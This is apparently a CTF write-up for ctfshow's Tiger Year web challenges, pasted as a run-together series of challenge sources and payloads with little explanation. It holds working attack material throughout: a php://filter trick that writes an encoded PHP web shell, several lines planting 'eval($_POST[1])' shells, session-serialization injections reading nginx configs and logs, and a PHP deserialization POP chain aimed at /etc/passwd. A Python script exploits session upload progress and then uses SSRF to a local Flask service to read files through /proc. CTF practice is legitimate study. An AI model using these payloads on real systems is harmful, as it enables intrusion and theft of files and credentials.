
https://bbs.ctf.show/thread/83 https://blog.csdn.net/Little_jcak/article/details/122819006 https://blog.csdn.net/qq_46241655/article/details/122776783
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
<?php phpinfo();eval($_GET[1]);?>
?content=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbMV0pOz8%2B/../t2.phphttps://xz.aliyun.com/t/8163 https://blog.csdn.net/Zero_Adam/article/details/116170568
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>
cookie
PHPSESSID=HappyNewYear
post
session_id=session_idhighlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key =  call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
  echo $flag;
}
die("虎年大吉,新春快乐!");
?1=session_start
/?1=ob_starthighlight_file(__FILE__);
error_reporting(0);
$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die("虎年大吉,新春快乐!");
?1=spl_autoload_extensions
生成
.inc,.phpinclude "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);
256 * 1024 *1024/ 128 /4 "hu"
https://bbs.ctf.show/thread/comment/249?threadId=83 <?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];
function filter($img){
    $filter_arr = array('ctfshow','daniu','happyhuyear');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
if($_SESSION){
    unset($_SESSION);
}
$_SESSION['function'] = $function;
extract($_POST['GET']);
$_SESSION['file'] = base64_encode("/root/flag");
$serialize_info = filter(serialize($_SESSION));
if($function == 'GET'){
    $userinfo = unserialize($serialize_info);
    //出题人已经拿过flag,题目正常,也就是说...
    echo file_get_contents(base64_decode($userinfo['file']));
} 
?POST=GET
GET[_SESSION][ctfshow]=;s:1:"1";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
读取
/etc/nginx/nginx.conf
读取
/var/log/nginx/access.log
L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==
GET[_SESSION][ctfshow]=;s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
http://127.0.0.1/ctfshow
aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93
GET[_SESSION][ctfshow]=;s:1:"1";s:4:"file";s:32:"aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93";} <?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
    phpinfo();
}
if (isset($_GET['source']))
{
    highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
Happy_New_Year!!!
class.php
<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";
        }
        function __destruct(){
                $this->happy->happy;
        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }
        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }
    }
    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";
        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }
        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;
        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }
 }
    class Year{
        public $zodiac;
         public function __invoke(){
            echo "happy ".$this->zodiac." year!";
        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString(){
                $this->show();
        }
        public function __set($key,$value){#3
            $this->$key = $value;
        }
        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }
    }
?><?php
    class Happy {
        public $happy;
    }
    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
 }
    class Year{
        public $zodiac;
    }
$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));
?>session.serialize_handler
Local Value是php,Master Value是 php_serialize
session.upload_progress.cleanup	Off	Off
phpsession 反序列化漏洞
# coding:utf-8
import requests
import time
def get_file(filename):
	data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain
------WebKitFormBoundarytyYa582A3zCNLMeL--"""
	r=requests.post(url='http://7f8f250e-73a3-4e23-94b3-62fe03cbba59.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=iot4d3hd1isme3q26hl49361rk'})
	return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00
for i in range(999):
	print(i)
	print(get_file('/proc/'+str(i)+'/cmdline'))
	time.sleep(0.2)
114
python3
/app/server.py
0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试# coding:utf-8
import requests
import time
def get_file(filename):
	data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain
------WebKitFormBoundarytyYa582A3zCNLMeL--"""
	r=requests.post(url='http://7f8f250e-73a3-4e23-94b3-62fe03cbba59.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=iot4d3hd1isme3q26hl49361rk'})
	# return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00
	return(r.text)#去掉源码信息,encode是为了能显示\00
# for i in range(999):
# 	print(i)
# 	print(get_file('/proc/'+str(i)+'/cmdline'))
# 	time.sleep(0.2)
print(get_file("http://127.0.0.1:5000/download/?filename=/proc/self/fd/3"))from flask import *
import os
app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
	return "flag我删了,你们别找了"
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)
http://127.0.0.1:5000/download/?filename=/proc/self/fd/3eval($_GET['f']);
查看phpinfo
auto_prepend_file
?f=file_put_contents("1.php","<?php eval(\$_POST[1]);phpinfo();?>");
蚁剑连接原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。